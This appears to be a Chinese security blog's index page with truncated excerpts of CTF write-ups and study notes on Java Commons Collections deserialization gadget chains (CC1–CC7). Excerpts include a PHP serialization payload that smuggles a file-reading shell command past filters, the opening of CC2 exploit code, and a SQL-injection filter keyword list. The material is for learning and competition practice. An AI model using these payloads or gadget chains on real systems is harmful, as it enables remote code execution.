攻防世界题目练习-Web
攻防世界题目练习WEBunsepingpoc
1234567891011121314151617181920<?phphighlight_file(__FILE__);class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; }}$a=array('a'=>'ca""t${IFS}f*$(printf${IFS}"\57")f""lag_831b69012c67b35f.ph""p');$b=new ease("ping",$a);$c=serialize($b);$d=base64_encode( ...
CC链学习-Cc2
CC链学习-cc2
CC2和CC3的区别就是直接走的TemplatesImpl.newTransformer
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;imp ...
CC链学习-Cc7
CC链学习-cc7CC7主要是入口点换成了Hashtable
紧接着下面就是他的调用方法
调用equals
直接看AbstractMapDecorator
AbstractMap
直接看equals方法
CC链学习-Cc5
CC 链学习 –cc5cc5和前面不一样的地方主要及时在Lazymap.get()的触发方法上
和CC1不一样就是LazyMap.get后面是调了toString
1TiedMapEntry`->`toString`->`getValue
TiedMapEntry
到getValue()
getValue再调了map.get方法,然后就到了LazyMap.get()
CC链学习-Cc4
CC链学习-cc4前言学习完cc1,6,3了,组长的视频也是快结束了,继续来捋一捋cc4
cc4其实和前面的几个挺相似的,也不过就是某个类的调用有点区别。
分析cc4是在ommons-collections4<基础上的,需要先导入一下
12345<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
组长从ChainedTransformer入手(这里记得把3.2.1的包删一下,看的我眼花聊乱的是4.0的ChainedTransformer)
查找transformer的用法,在TransformingComparator中
往回找看看谁调用了compare这里就比较难找了,需要有一些开发基 ...
CC链学习-Cc3
CC链学习–cc3前言前面学习了cc1和cc6,今天来学习一下cc3,cc3基于cc1有了一点点。由之前的的改变,cc3链就是改变了最后的执行类,由之前的Runtime命令执行改变为动态类加载,能够任意执行代码,对于命令执行,代码执行应用更加广泛。和cc1相比一个是命令执行,一个是代码执行。
分析既然说到了动态类加载,这里我们先来了解一下动态类加载
动态类加载机制 Java 是运行在 Java 的虚拟机(JVM)中的,但是它是如何运行在JVM中了呢?我们在IDE中编写的 Java 源代码被编译器编译成 .class 的字节码文件。然后由我们得由类加载器负责将这些 class 文件给加载到 JVM 中去执行。JVM提供了三层类加载器
Bootstrap classLoader:启动类加载器,主要负责加载核心的类库(java.lang.*等),构造 ExtClassLoader 和 APPClassLoader。 ExtClassLoader:拓展类加载器,主要负责加载 JAVA_HOME/lib/ext 目录下的一些扩展的 jar。 AppClassLoader: ...
CC链学习-Cc6
CC链学习-cc6前言因为cc1不能解决高版本(8u71)利用问题,因此就需要在代码中找还有哪里调用了LazyMap.get方法。 TiedMapEntry.hashcode方法中调用了自己的getValue方法,getValue方法中又调用了map.get方法
分析先来看一下另一个版本的cc1
跟踪Chaintransform中的transform方法
结果找到了三个map
这次我们进LazyMap
发现Lazymap中的get方法利用到了factory.transform(),我们去看看factory的利用
就一个Transformer,触发factory需要过一个判断,判断的话map里没有key就好了
1234567891011121314151617181920212223/* Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.in ...
2023蓝桥杯复现
#2023蓝桥杯复现
Misc蚁剑流量123456789101112131415161718z = "c e f l 9 c c e - 4 d a 1 a d 7 5 e - - 5 3 f c } 0 f c 5 4 2 g b - { e 8 0 b e 9 9"order = "10 9 1 2 33 32 39 6 14 38 27 7 25 3 15 20 31 18 24 29 16 23 11 30 42 37 41 36 12 21 34 4 13 19 5 8 26 28 22 35 17 40"char = z.split()print(char)order_list = list(map(int, order.split()))print(list(map(int,order.split())))char_dict = {}for i in range(len(char)): char_dict[order_list[i]] = char[i]for key in sorted ...
2024HSCCTF
2024HSCCTFMISCSign010手提出来图片
写了HAPPY_NEW_YEAR,猜测是密码、
outguess提取
1outguess -k HAPPY_NEW_YEAR -r happy.jpg 1.txt
HSCCTF{Welcome_to_HSCCTF}
WebPWD123456789101112131415161718192021 <?phperror_reporting(0);highlight_file(__FILE__);$con = mysqli_connect("localhost","root","root","ccut");function waffff($sql) { if (preg_match("/infor|sys|sql|thread|case|when|if|like|left|right|mid|cmp|sub|locate|position|match|find|field|sleep|repeat|lock|bench|p ...
2024XYCTF
XYCTFWebezPop1234567891011121314151617181920212223242526272829303132333435363738394041424344<?phperror_reporting(0);highlight_file(__FILE__);class AAA{public $s;public $a;public function __toString(){echo "you get 2 A <br>";$p = $this->a;return $this->s->$p;}}class BBB{public $c;public $d;public function __get($name){echo "you get 2 B <br>";$a=$_POST['a'];$b=$_POST;$c=$this->c;$d=$this->d;if (isset($b[' ...
2024青少年CTF擂台挑战赛Round#1-WP
青少年CTF擂台挑战赛2024Round#1-WPCRYPTO四重加密压缩包备注
OFZW4Y3UMY======
base64解
qsnctf
解开压缩包得到 HTML转移得到 md格式问题自己转成维吉尼亚加密形式
zcye{mxmemtxrzt_lzbha_kwmqzec}|key=hello
得到rot13的flag
synt{yqitbfqnoi_xsxwp_wpifoqv}
flag{ldvgosdabv_kfkjc_jcvsbdi}
ez_log附件:
12345678910from Crypto.Util.numb ...
CC链学习-Cc1
CC链学习
CC1
组件介绍
Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。
作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。
环境搭建需要先配置jdk,jdk<8u71即可,我用的是JDK8u65
因为jdk自带的包里面有些文件是反编译的.class文件,我们没法清楚的看懂代码,为了方便我们调试,我们需要将他们转变为.java的文件,这就需要我们安装相应的源码:https://hg.openjdk.org/jdk8u/jdk8u/j ...